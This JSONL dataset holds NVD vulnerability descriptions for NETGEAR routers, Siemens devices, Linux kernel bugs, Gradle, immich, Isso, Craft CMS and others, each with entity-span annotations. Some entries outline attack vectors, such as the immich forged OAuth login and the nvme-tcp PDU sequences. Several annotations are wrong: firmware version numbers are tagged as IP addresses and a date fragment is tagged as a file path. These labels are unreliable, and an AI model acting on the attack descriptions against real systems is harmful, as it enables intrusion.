{"text": "Certain NETGEAR devices are affected by command injection by an unauthenticated attacker. This affects CBR40 before 2.5.0.24, EAX20 before 1.0.0.48, EAX80 before 1.0.1.64, EX7500 before 1.0.0.72, R6400 before 1.0.1.68, R6900P before 1.3.2.132, R7000 before 1.0.11.116, R7000P before 1.3.2.132, R7900 before 1.0.4.38, R7960P before 1.4.1.66, R8000 before 1.0.4.66, RAX200 before 1.0.3.106, RS400 before 1.5.1.80, XR300 before 1.0.3.68, MK62 before 1.0.6.110, MR60 before 1.0.6.110, R6400v2 before 1.0.4.106, R8000P before 1.4.1.66, RAX20 before 1.0.2.64, RAX45 before 1.0.2.82, RAX80 before 1.0.3.106, MS60 before 1.0.6.110, R6700v3 before 1.0.4.106, R7900P before 1.4.1.66, RAX15 before 1.0.2.64, RAX50 before 1.0.2.82, RAX75 before 1.0.3.106, RBR750 before 3.2.16.22, RBR850 before 3.2.16.22, RBS750 before 3.2.16.22, RBS850 before 3.2.16.22, RBK752 before 3.2.16.22, and RBK852 before 3.2.16.22.", "spans": {"IP_ADDRESS: 2.5.0.24": [[116, 124]], "IP_ADDRESS: 1.0.0.48": [[139, 147]], "IP_ADDRESS: 1.0.1.64": [[162, 170]], "IP_ADDRESS: 1.0.0.72": [[186, 194]], "IP_ADDRESS: 1.0.1.68": [[209, 217]], "IP_ADDRESS: 1.3.2.132": [[233, 242], [283, 292]], "IP_ADDRESS: 1.0.11.116": [[257, 267]], "IP_ADDRESS: 1.0.4.38": [[307, 315]], "IP_ADDRESS: 1.4.1.66": [[331, 339], [521, 529], [664, 672]], "IP_ADDRESS: 1.0.4.66": [[354, 362]], "IP_ADDRESS: 1.0.3.106": [[378, 387], [590, 599], [733, 742]], "IP_ADDRESS: 1.5.1.80": [[402, 410]], "IP_ADDRESS: 1.0.3.68": [[425, 433]], "IP_ADDRESS: 1.0.6.110": [[447, 456], [470, 479], [613, 622]], "IP_ADDRESS: 1.0.4.106": [[496, 505], [639, 648]], "IP_ADDRESS: 1.0.2.64": [[544, 552], [687, 695]], "IP_ADDRESS: 1.0.2.82": [[567, 575], [710, 718]], "IP_ADDRESS: 3.2.16.22": [[758, 767], [783, 792], [808, 817], [833, 842], [858, 867], [887, 896]], "VULNERABILITY: command injection": [[40, 57]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-45617"}}
{"text": "immich is a high performance self-hosted photo and video management solution. Prior to 1.132.0, immich is vulnerable to account hijacking through oauth2, because the state parameter is not being checked. The oauth2 state parameter is similar to a csrf token, so when the user starts the login flow this unpredictable token is generated and somehow saved in the browser session and passed to the identity provider, which will return the state parameter when redirecting the user back to immich. Before the user is logged in that parameter needs to be verified to make sure the login was actively initiated by the user in this browser session. On it's own, this wouldn't be too bad, but when immich uses the /user-settings page as a redirect_uri, it will automatically link the accounts if the user was already logged in. This means that if someone has an immich instance with a public oauth provider (like google), an attacker can - for example - embed a hidden iframe in a webpage or even just send the victim a forged oauth login url with a code that logs the victim into the attackers oauth account and redirects back to immich and links the accounts. After this, the attacker can log into the victims account using their own oauth credentials. This vulnerability is fixed in 1.132.0.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-43856"}}
{"text": "A vulnerability has been identified in SCALANCE X200-4P IRT (All versions < 5.5.1), SCALANCE X201-3P IRT (All versions < 5.5.1), SCALANCE X201-3P IRT PRO (All versions < 5.5.1), SCALANCE X202-2 IRT (All versions < 5.5.1), SCALANCE X202-2P IRT (incl. SIPLUS NET variant) (All versions < 5.5.1), SCALANCE X202-2P IRT PRO (All versions < 5.5.1), SCALANCE X204 IRT (All versions < 5.5.1), SCALANCE X204 IRT PRO (All versions < 5.5.1), SCALANCE X204-2 (incl. SIPLUS NET variant) (All versions < V5.2.5), SCALANCE X204-2FM (All versions < V5.2.5), SCALANCE X204-2LD (incl. SIPLUS NET variant) (All versions < V5.2.5), SCALANCE X204-2LD TS (All versions < V5.2.5), SCALANCE X204-2TS (All versions < V5.2.5), SCALANCE X206-1 (All versions < V5.2.5), SCALANCE X206-1LD (All versions < V5.2.5), SCALANCE X208 (incl. SIPLUS NET variant) (All versions < V5.2.5), SCALANCE X208PRO (All versions < V5.2.5), SCALANCE X212-2 (incl. SIPLUS NET variant) (All versions < V5.2.5), SCALANCE X212-2LD (All versions < V5.2.5), SCALANCE X216 (All versions < V5.2.5), SCALANCE X224 (All versions < V5.2.5), SCALANCE XF201-3P IRT (All versions < 5.5.1), SCALANCE XF202-2P IRT (All versions < 5.5.1), SCALANCE XF204 (All versions < V5.2.5), SCALANCE XF204 IRT (All versions < 5.5.1), SCALANCE XF204-2 (incl. SIPLUS NET variant) (All versions < V5.2.5), SCALANCE XF204-2BA IRT (All versions < 5.5.1), SCALANCE XF206-1 (All versions < V5.2.5), SCALANCE XF208 (All versions < V5.2.5). Incorrect processing of POST requests in the web server may write out of bounds in stack. An attacker might leverage this to denial-of-service of the device or remote code execution.", "spans": {"VULNERABILITY: remote code execution": [[1615, 1636]], "VULNERABILITY: denial-of-service": [[1580, 1597]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-25669"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_set_pipapo_avx2: Add irq_fpu_usable() check, fallback to non-AVX2 version\n\nArturo reported this backtrace:\n\n[709732.358791] WARNING: CPU: 3 PID: 456 at arch/x86/kernel/fpu/core.c:128 kernel_fpu_begin_mask+0xae/0xe0\n[709732.358793] Modules linked in: binfmt_misc nft_nat nft_chain_nat nf_nat nft_counter nft_ct nf_tables nf_conntrack_netlink nfnetlink 8021q garp stp mrp llc vrf intel_rapl_msr intel_rapl_common skx_edac nfit libnvdimm ipmi_ssif x86_pkg_temp_thermal intel_powerclamp coretemp crc32_pclmul mgag200 ghash_clmulni_intel drm_kms_helper cec aesni_intel drm libaes crypto_simd cryptd glue_helper mei_me dell_smbios iTCO_wdt evdev intel_pmc_bxt iTCO_vendor_support dcdbas pcspkr rapl dell_wmi_descriptor wmi_bmof sg i2c_algo_bit watchdog mei acpi_ipmi ipmi_si button nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 ipmi_devintf ipmi_msghandler ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 dm_mod raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor sd_mod t10_pi crc_t10dif crct10dif_generic raid6_pq libcrc32c crc32c_generic raid1 raid0 multipath linear md_mod ahci libahci tg3 libata xhci_pci libphy xhci_hcd ptp usbcore crct10dif_pclmul crct10dif_common bnxt_en crc32c_intel scsi_mod\n[709732.358941]  pps_core i2c_i801 lpc_ich i2c_smbus wmi usb_common\n[709732.358957] CPU: 3 PID: 456 Comm: jbd2/dm-0-8 Not tainted 5.10.0-0.bpo.5-amd64 #1 Debian 5.10.24-1~bpo10+1\n[709732.358959] Hardware name: Dell Inc. PowerEdge R440/04JN2K, BIOS 2.9.3 09/23/2020\n[709732.358964] RIP: 0010:kernel_fpu_begin_mask+0xae/0xe0\n[709732.358969] Code: ae 54 24 04 83 e3 01 75 38 48 8b 44 24 08 65 48 33 04 25 28 00 00 00 75 33 48 83 c4 10 5b c3 65 8a 05 5e 21 5e 76 84 c0 74 92 <0f> 0b eb 8e f0 80 4f 01 40 48 81 c7 00 14 00 00 e8 dd fb ff ff eb\n[709732.358972] RSP: 0018:ffffbb9700304740 EFLAGS: 00010202\n[709732.358976] RAX: 0000000000000001 RBX: 0000000000000003 RCX: 0000000000000001\n[709732.358979] RDX: ffffbb9700304970 RSI: ffff922fe1952e00 RDI: 0000000000000003\n[709732.358981] RBP: ffffbb9700304970 R08: ffff922fc868a600 R09: ffff922fc711e462\n[709732.358984] R10: 000000000000005f R11: ffff922ff0b27180 R12: ffffbb9700304960\n[709732.358987] R13: ffffbb9700304b08 R14: ffff922fc664b6c8 R15: ffff922fc664b660\n[709732.358990] FS:  0000000000000000(0000) GS:ffff92371fec0000(0000) knlGS:0000000000000000\n[709732.358993] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[709732.358996] CR2: 0000557a6655bdd0 CR3: 000000026020a001 CR4: 00000000007706e0\n[709732.358999] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[709732.359001] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[709732.359003] PKRU: 55555554\n[709732.359005] Call Trace:\n[709732.359009]  <IRQ>\n[709732.359035]  nft_pipapo_avx2_lookup+0x4c/0x1cba [nf_tables]\n[709732.359046]  ? sched_clock+0x5/0x10\n[709732.359054]  ? sched_clock_cpu+0xc/0xb0\n[709732.359061]  ? record_times+0x16/0x80\n[709732.359068]  ? plist_add+0xc1/0x100\n[709732.359073]  ? psi_group_change+0x47/0x230\n[709732.359079]  ? skb_clone+0x4d/0xb0\n[709732.359085]  ? enqueue_task_rt+0x22b/0x310\n[709732.359098]  ? bnxt_start_xmit+0x1e8/0xaf0 [bnxt_en]\n[709732.359102]  ? packet_rcv+0x40/0x4a0\n[709732.359121]  nft_lookup_eval+0x59/0x160 [nf_tables]\n[709732.359133]  nft_do_chain+0x350/0x500 [nf_tables]\n[709732.359152]  ? nft_lookup_eval+0x59/0x160 [nf_tables]\n[709732.359163]  ? nft_do_chain+0x364/0x500 [nf_tables]\n[709732.359172]  ? fib4_rule_action+0x6d/0x80\n[709732.359178]  ? fib_rules_lookup+0x107/0x250\n[709732.359184]  nft_nat_do_chain+0x8a/0xf2 [nft_chain_nat]\n[709732.359193]  nf_nat_inet_fn+0xea/0x210 [nf_nat]\n[709732.359202]  nf_nat_ipv4_out+0x14/0xa0 [nf_nat]\n[709732.359207]  nf_hook_slow+0x44/0xc0\n[709732.359214]  ip_output+0xd2/0x100\n[709732.359221]  ? __ip_finish_output+0x210/0x210\n[709732.359226]  ip_forward+0x37d/0x4a0\n[709732.359232]  ? ip4_key_hashfn+0xb0/0xb0\n[709732.359238]  ip_subli\n---truncated---", "spans": {"FILEPATH: /x86/kernel/fpu/core.c": [[240, 262]], "FILEPATH: /23/2020": [[1562, 1570]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Debian": [[1460, 1466]], "ORGANIZATION: Dell": [[1516, 1520]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47174"}}
{"text": "Gradle is a build tool with a focus on build automation and support for multi-language development. In affected versions when unpacking Tar archives, Gradle did not check that files could be written outside of the unpack location. This could lead to important files being overwritten anywhere the Gradle process has write permissions. For a build reading Tar entries from a Tar archive, this issue could allow Gradle to disclose information from sensitive files through an arbitrary file read. To exploit this behavior, an attacker needs to either control the source of an archive already used by the build or modify the build to interact with a malicious archive. It is unlikely that this would go unnoticed. A fix has been released in Gradle 7.6.2 and 8.2 to protect against this vulnerability. Starting from these versions, Gradle will refuse to handle Tar archives which contain path traversal elements in a Tar entry name. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n\n\n\n### Impact\n\nThis is a path traversal vulnerability when Gradle deals with Tar archives, often referenced as TarSlip, a variant of ZipSlip.\n\n* When unpacking Tar archives, Gradle did not check that files could be written outside of the unpack location. This could lead to important files being overwritten anywhere the Gradle process has write permissions.\n* For a build reading Tar entries from a Tar archive, this issue could allow Gradle to disclose information from sensitive files through an arbitrary file read.\n\nTo exploit this behavior, an attacker needs to either control the source of an archive already used by the build or modify the build to interact with a malicious archive. It is unlikely that this would go unnoticed.\n\nGradle uses Tar archives for its [Build Cache](https://docs.gradle.org/current/userguide/build_cache.html). These archives are safe when created by Gradle. But if an attacker had control of a remote build cache server, they could inject malicious build cache entries that leverage this vulnerability. This attack vector could also be exploited if a man-in-the-middle can be performed between the remote cache and the build.\n\n### Patches\n\nA fix has been released in Gradle 7.6.2 and 8.2 to protect against this vulnerability. Starting from these versions, Gradle will refuse to handle Tar archives which contain path traversal elements in a Tar entry name.\n\nIt is recommended that users upgrade to a patched version.\n\n### Workarounds\n\nThere is no workaround.\n\n* If your build deals with Tar archives that you do not fully trust, you need to inspect them to confirm they do not attempt to leverage this vulnerability.\n* If you use the Gradle remote build cache, make sure only trusted parties have write access to it and that connections to the remote cache are properly secured.\n\n### References\n\n* [CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)\n* [Gradle Build Cache](https://docs.gradle.org/current/userguide/build_cache.html)\n* [ZipSlip](https://security.snyk.io/research/zip-slip-vulnerability)", "spans": {"URL: https://docs.gradle.org/current/userguide/build_cache.html": [[1798, 1856], [3008, 3066]], "URL: https://cwe.mitre.org/data/definitions/22.html": [[2937, 2983]], "URL: https://security.snyk.io/research/zip-slip-vulnerability": [[3080, 3136]], "VULNERABILITY: arbitrary file read": [[473, 492], [1512, 1531]], "VULNERABILITY: path traversal": [[883, 897], [1038, 1052], [2362, 2376]], "VULNERABILITY: Path Traversal": [[2919, 2933]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-35947"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: always release netdev hooks from notifier\n\nThis reverts \"netfilter: nf_tables: skip netdev events generated on netns removal\".\n\nThe problem is that when a veth device is released, the veth release\ncallback will also queue the peer netns device for removal.\n\nIts possible that the peer netns is also slated for removal.  In this\ncase, the device memory is already released before the pre_exit hook of\nthe peer netns runs:\n\nBUG: KASAN: slab-use-after-free in nf_hook_entry_head+0x1b8/0x1d0\nRead of size 8 at addr ffff88812c0124f0 by task kworker/u8:1/45\nWorkqueue: netns cleanup_net\nCall Trace:\n nf_hook_entry_head+0x1b8/0x1d0\n __nf_unregister_net_hook+0x76/0x510\n nft_netdev_unregister_hooks+0xa0/0x220\n __nft_release_hook+0x184/0x490\n nf_tables_pre_exit_net+0x12f/0x1b0\n ..\n\nOrder is:\n1. First netns is released, veth_dellink() queues peer netns device\n   for removal\n2. peer netns is queued for removal\n3. peer netns device is released, unreg event is triggered\n4. unreg event is ignored because netns is going down\n5. pre_exit hook calls nft_netdev_unregister_hooks but device memory\n   might be free'd already.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[530, 544]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54200"}}
{"text": "ViewVC is a browser interface for CVS and Subversion version control repositories. Versions prior to 1.2.3 and 1.1.30 are vulnerable to cross-site scripting. The impact of this vulnerability is mitigated by the need for an attacker to have commit privileges to a Subversion repository exposed by an otherwise trusted ViewVC instance. The attack vector involves files with unsafe names (names that, when embedded into an HTML stream, would cause the browser to run unwanted code), which themselves can be challenging to create. Users should update to at least version 1.2.3 (if they are using a 1.2.x version of ViewVC) or 1.1.30 (if they are using a 1.1.x version).\n\nViewVC 1.0.x is no longer supported, so users of that release lineage should implement one of the following workarounds. Users can edit their ViewVC EZT view templates to manually HTML-escape changed path \"copyfrom paths\" during rendering. Locate in your template set's `revision.ezt` file references to those changed paths, and wrap them with `[format \"html\"]` and `[end]`.  For most users, that means that references to `[changes.copy_path]` will become `[format \"html\"][changes.copy_path][end]`. (This workaround should be reverted after upgrading to a patched version of ViewVC, else \"copyfrom path\" names will be doubly escaped.)", "spans": {"VULNERABILITY: cross-site scripting": [[136, 156]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22464"}}
{"text": "Discourse is an open source discussion platform. Prior to versions 2025.12.2, 2026.1.1, and 2026.2.0, when the `patreon_webhook_secret` site setting is blank, an attacker can forge valid webhook signatures by computing an HMAC-MD5 with an empty string as the key. Since the request body is known to the sender, the attacker can produce a matching signature and send arbitrary webhook payloads. This allows unauthorized creation, modification, or deletion of Patreon pledge data and triggering patron-to-group synchronization. This vulnerability is patched in versions 2025.12.2, 2026.1.1, and 2026.2.0. The fix rejects webhook requests when the webhook secret is not configured, preventing signature forgery with an empty key. As a workaround, configure the `patreon_webhook_secret` site setting with a strong, non-empty secret value. When the secret is non-empty, an attacker cannot forge valid signatures without knowing the secret.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26078"}}
{"text": "A vulnerability in Juniper Networks Junos OS on vMX and MX150 devices may allow an attacker to cause a Denial of Service (DoS) by sending specific packets requiring special processing in microcode that the flow cache can't handle, causing the riot forwarding daemon to crash. By continuously sending the same specific packets, an attacker can repeatedly crash the riot process causing a sustained Denial of Service. Flow cache is specific to vMX based products and the MX150, and is enabled by default in performance mode. This issue can only be triggered by traffic destined to the device. Transit traffic will not cause the riot daemon to crash. When the issue occurs, a core dump and riot log file entry are generated. For example: /var/crash/core.J-UKERN.mpc0.1557255993.3864.gz /home/pfe/RIOT logs: fpc0 riot[1888]: PANIC in lu_reorder_send_packet_postproc(): fpc0 riot[6655]: PANIC in lu_reorder_send_packet_postproc(): This issue affects Juniper Networks Junos OS: 18.1 versions prior to 18.1R3 on vMX and MX150; 18.2 versions prior to 18.2R3 on vMX and MX150; 18.2X75 versions prior to 18.2X75-D60 on vMX and MX150; 18.3 versions prior to 18.3R3 on vMX and MX150; 18.4 versions prior to 18.4R2 on vMX and MX150; 19.1 versions prior to 19.1R2 on vMX and MX150. This issue does not affect Junos OS versions prior to 18.1R1.", "spans": {"FILEPATH: /var/crash/core.J-UKERN.mpc0.1557255993.3864.gz": [[735, 782]], "FILEPATH: /home/pfe/RIOT": [[783, 797]], "ORGANIZATION: Juniper": [[19, 26], [945, 952]], "VULNERABILITY: Denial of Service": [[103, 120], [397, 414]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1627"}}
{"text": "Certain NETGEAR devices are affected by a buffer overflow by an unauthenticated attacker. This affects D6220 before 1.0.0.66, D6400 before 1.0.0.100, D7000v2 before 1.0.0.66, D8500 before 1.0.3.58, DC112A before 1.0.0.52, DGN2200v4 before 1.0.0.118, EAX80 before 1.0.1.64, R6250 before 1.0.4.48, R7000 before 1.0.11.110, R7100LG before 1.0.0.72, R7900 before 1.0.4.30, R7960P before 1.4.1.64, R8000 before 1.0.4.62, RAX200 before 1.0.3.106, RS400 before 1.5.1.80, XR300 before 1.0.3.68, R6400v2 before 1.0.4.106, R7000P before 1.3.2.132, R8000P before 1.4.1.64, RAX20 before 1.0.2.82, RAX45 before 1.0.2.82, RAX80 before 1.0.3.106, R6700v3 before 1.0.4.106, R6900P before 1.3.2.132, R7900P before 1.4.1.64, RAX15 before 1.0.2.82, RAX50 before 1.0.2.82, and RAX75 before 1.0.3.106.", "spans": {"IP_ADDRESS: 1.0.0.66": [[116, 124], [165, 173]], "IP_ADDRESS: 1.0.0.100": [[139, 148]], "IP_ADDRESS: 1.0.3.58": [[188, 196]], "IP_ADDRESS: 1.0.0.52": [[212, 220]], "IP_ADDRESS: 1.0.0.118": [[239, 248]], "IP_ADDRESS: 1.0.1.64": [[263, 271]], "IP_ADDRESS: 1.0.4.48": [[286, 294]], "IP_ADDRESS: 1.0.11.110": [[309, 319]], "IP_ADDRESS: 1.0.0.72": [[336, 344]], "IP_ADDRESS: 1.0.4.30": [[359, 367]], "IP_ADDRESS: 1.4.1.64": [[383, 391], [552, 560], [697, 705]], "IP_ADDRESS: 1.0.4.62": [[406, 414]], "IP_ADDRESS: 1.0.3.106": [[430, 439], [621, 630], [770, 779]], "IP_ADDRESS: 1.5.1.80": [[454, 462]], "IP_ADDRESS: 1.0.3.68": [[477, 485]], "IP_ADDRESS: 1.0.4.106": [[502, 511], [647, 656]], "IP_ADDRESS: 1.3.2.132": [[527, 536], [672, 681]], "IP_ADDRESS: 1.0.2.82": [[575, 583], [598, 606], [720, 728], [743, 751]], "VULNERABILITY: buffer overflow": [[42, 57]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-45610"}}
{"text": "A vulnerability has been identified in SICAM P850 (7KG8500-0AA00-0AA0) (All versions < V3.10), SICAM P850 (7KG8500-0AA00-2AA0) (All versions < V3.10), SICAM P850 (7KG8500-0AA10-0AA0) (All versions < V3.10), SICAM P850 (7KG8500-0AA10-2AA0) (All versions < V3.10), SICAM P850 (7KG8500-0AA30-0AA0) (All versions < V3.10), SICAM P850 (7KG8500-0AA30-2AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA01-0AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA01-2AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA02-0AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA02-2AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA11-0AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA11-2AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA12-0AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA12-2AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA31-0AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA31-2AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA32-0AA0) (All versions < V3.10), SICAM P850 (7KG8501-0AA32-2AA0) (All versions < V3.10), SICAM P855 (7KG8550-0AA00-0AA0) (All versions < V3.10), SICAM P855 (7KG8550-0AA00-2AA0) (All versions < V3.10), SICAM P855 (7KG8550-0AA10-0AA0) (All versions < V3.10), SICAM P855 (7KG8550-0AA10-2AA0) (All versions < V3.10), SICAM P855 (7KG8550-0AA30-0AA0) (All versions < V3.10), SICAM P855 (7KG8550-0AA30-2AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA01-0AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA01-2AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA02-0AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA02-2AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA11-0AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA11-2AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA12-0AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA12-2AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA31-0AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA31-2AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA32-0AA0) (All versions < V3.10), SICAM P855 (7KG8551-0AA32-2AA0) (All versions < V3.10), SICAM T (All versions < V3.0). Affected devices do not properly validate the parameter of a specific GET request. This could allow an unauthenticated attacker to set the device to a denial of service state or to control the program counter and, thus, execute arbitrary code on the device.", "spans": {"VULNERABILITY: denial of service": [[2237, 2254]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-41665"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-tcp: fix NULL pointer dereferences in nvmet_tcp_build_pdu_iovec\n\nCommit efa56305908b (\"nvmet-tcp: Fix a kernel panic when host sends an invalid H2C PDU length\")\nadded ttag bounds checking and data_offset\nvalidation in nvmet_tcp_handle_h2c_data_pdu(), but it did not validate\nwhether the command's data structures (cmd->req.sg and cmd->iov) have\nbeen properly initialized before processing H2C_DATA PDUs.\n\nThe nvmet_tcp_build_pdu_iovec() function dereferences these pointers\nwithout NULL checks. This can be triggered by sending H2C_DATA PDU\nimmediately after the ICREQ/ICRESP handshake, before\nsending a CONNECT command or NVMe write command.\n\nAttack vectors that trigger NULL pointer dereferences:\n1. H2C_DATA PDU sent before CONNECT → both pointers NULL\n2. H2C_DATA PDU for READ command → cmd->req.sg allocated, cmd->iov NULL\n3. H2C_DATA PDU for uninitialized command slot → both pointers NULL\n\nThe fix validates both cmd->req.sg and cmd->iov before calling\nnvmet_tcp_build_pdu_iovec(). Both checks are required because:\n- Uninitialized commands: both NULL\n- READ commands: cmd->req.sg allocated, cmd->iov NULL\n- WRITE commands: both allocated", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22998"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: Fix use-after-free with devm_spi_alloc_*\n\nWe can't rely on the contents of the devres list during\nspi_unregister_controller(), as the list is already torn down at the\ntime we perform devres_find() for devm_spi_release_controller. This\ncauses devices registered with devm_spi_alloc_{master,slave}() to be\nmistakenly identified as legacy, non-devm managed devices and have their\nreference counters decremented below 0.\n\n------------[ cut here ]------------\nWARNING: CPU: 1 PID: 660 at lib/refcount.c:28 refcount_warn_saturate+0x108/0x174\n[<b0396f04>] (refcount_warn_saturate) from [<b03c56a4>] (kobject_put+0x90/0x98)\n[<b03c5614>] (kobject_put) from [<b0447b4c>] (put_device+0x20/0x24)\n r4:b6700140\n[<b0447b2c>] (put_device) from [<b07515e8>] (devm_spi_release_controller+0x3c/0x40)\n[<b07515ac>] (devm_spi_release_controller) from [<b045343c>] (release_nodes+0x84/0xc4)\n r5:b6700180 r4:b6700100\n[<b04533b8>] (release_nodes) from [<b0454160>] (devres_release_all+0x5c/0x60)\n r8:b1638c54 r7:b117ad94 r6:b1638c10 r5:b117ad94 r4:b163dc10\n[<b0454104>] (devres_release_all) from [<b044e41c>] (__device_release_driver+0x144/0x1ec)\n r5:b117ad94 r4:b163dc10\n[<b044e2d8>] (__device_release_driver) from [<b044f70c>] (device_driver_detach+0x84/0xa0)\n r9:00000000 r8:00000000 r7:b117ad94 r6:b163dc54 r5:b1638c10 r4:b163dc10\n[<b044f688>] (device_driver_detach) from [<b044d274>] (unbind_store+0xe4/0xf8)\n\nInstead, determine the devm allocation state as a flag on the\ncontroller which is guaranteed to be stable during cleanup.", "spans": {"FILEPATH: refcount.c": [[561, 571]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[78, 92]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46959"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/amd/pgtbl: Fix possible race while increase page table level\n\nThe AMD IOMMU host page table implementation supports dynamic page table levels\n(up to 6 levels), starting with a 3-level configuration that expands based on\nIOVA address. The kernel maintains a root pointer and current page table level\nto enable proper page table walks in alloc_pte()/fetch_pte() operations.\n\nThe IOMMU IOVA allocator initially starts with 32-bit address and onces its\nexhuasted it switches to 64-bit address (max address is determined based\non IOMMU and device DMA capability). To support larger IOVA, AMD IOMMU\ndriver increases page table level.\n\nBut in unmap path (iommu_v1_unmap_pages()), fetch_pte() reads\npgtable->[root/mode] without lock. So its possible that in exteme corner case,\nwhen increase_address_space() is updating pgtable->[root/mode], fetch_pte()\nreads wrong page table level (pgtable->mode). It does compare the value with\nlevel encoded in page table and returns NULL. This will result is\niommu_unmap ops to fail and upper layer may retry/log WARN_ON.\n\nCPU 0                                         CPU 1\n------                                       ------\nmap pages                                    unmap pages\nalloc_pte() -> increase_address_space()      iommu_v1_unmap_pages() -> fetch_pte()\n  pgtable->root = pte (new root value)\n                                             READ pgtable->[mode/root]\n\t\t\t\t\t       Reads new root, old mode\n  Updates mode (pgtable->mode += 1)\n\nSince Page table level updates are infrequent and already synchronized with a\nspinlock, implement seqcount to enable lock-free read operations on the read path.", "spans": {"FILEPATH: /amd/pgtbl": [[74, 84]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: AMD": [[141, 144], [658, 661]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39961"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_dashboard.php. When parsing the service_restart parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9734.", "spans": {"IP_ADDRESS: 0.9.8.923": [[123, 132]], "FILEPATH: ajax_dashboard.php": [[228, 246]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15611"}}
{"text": "Isso is a lightweight commenting server written in Python and JavaScript. In commits before 0afbfe0691ee237963e8fb0b2ee01c9e55ca2144, there is a stored Cross-Site Scripting (XSS) vulnerability affecting the website and author comment fields. The website field was HTML-escaped using quote=False, which left single and double quotes unescaped. Since the frontend inserts the website value directly into a single-quoted href attribute via string concatenation, a single quote in the URL breaks out of the attribute context, allowing injection of arbitrary event handlers (e.g. onmouseover, onclick). The same escaping is missing entirely from the user-facing comment edit endpoint (PUT /id/) and the moderation edit endpoint (POST /id//edit/). This issue has been patched in commit 0afbfe0691ee237963e8fb0b2ee01c9e55ca2144. To workaround, nabling comment moderation (moderation = enabled = true in isso.cfg) prevents unauthenticated users from publishing comments, raising the bar for exploitation, but it does not fully mitigate the issue since a moderator activating a malicious comment would still expose visitors.", "spans": {"HASH: 0afbfe0691ee237963e8fb0b2ee01c9e55ca2144": [[92, 132], [780, 820]], "FILEPATH: isso.cfg": [[896, 904]], "SYSTEM: Python": [[51, 57]], "VULNERABILITY: Cross-Site Scripting": [[152, 172]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27469"}}
{"text": "Craft is a platform for creating digital experiences. Versions 4.13.8 through 4.16.2 and 5.5.8 through 5.8.3 contain a vulnerability that can bypass CVE-2025-23209: \"Craft CMS has a potential RCE with a compromised security key\". To exploit this vulnerability, the project must meet these requirements: have a compromised security key and create an arbitrary file in Craft's /storage/backups folder. With those criteria in place, attackers could create a specific, malicious request to the /updater/restore-db endpoint and execute CLI commands remotely. This issue is fixed in versions 4.16.3 and 5.8.4.", "spans": {"CVE_ID: CVE-2025-23209": [[149, 163]], "FILEPATH: /storage/backups": [[375, 391]], "FILEPATH: /updater/restore-db": [[490, 509]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-54417"}}
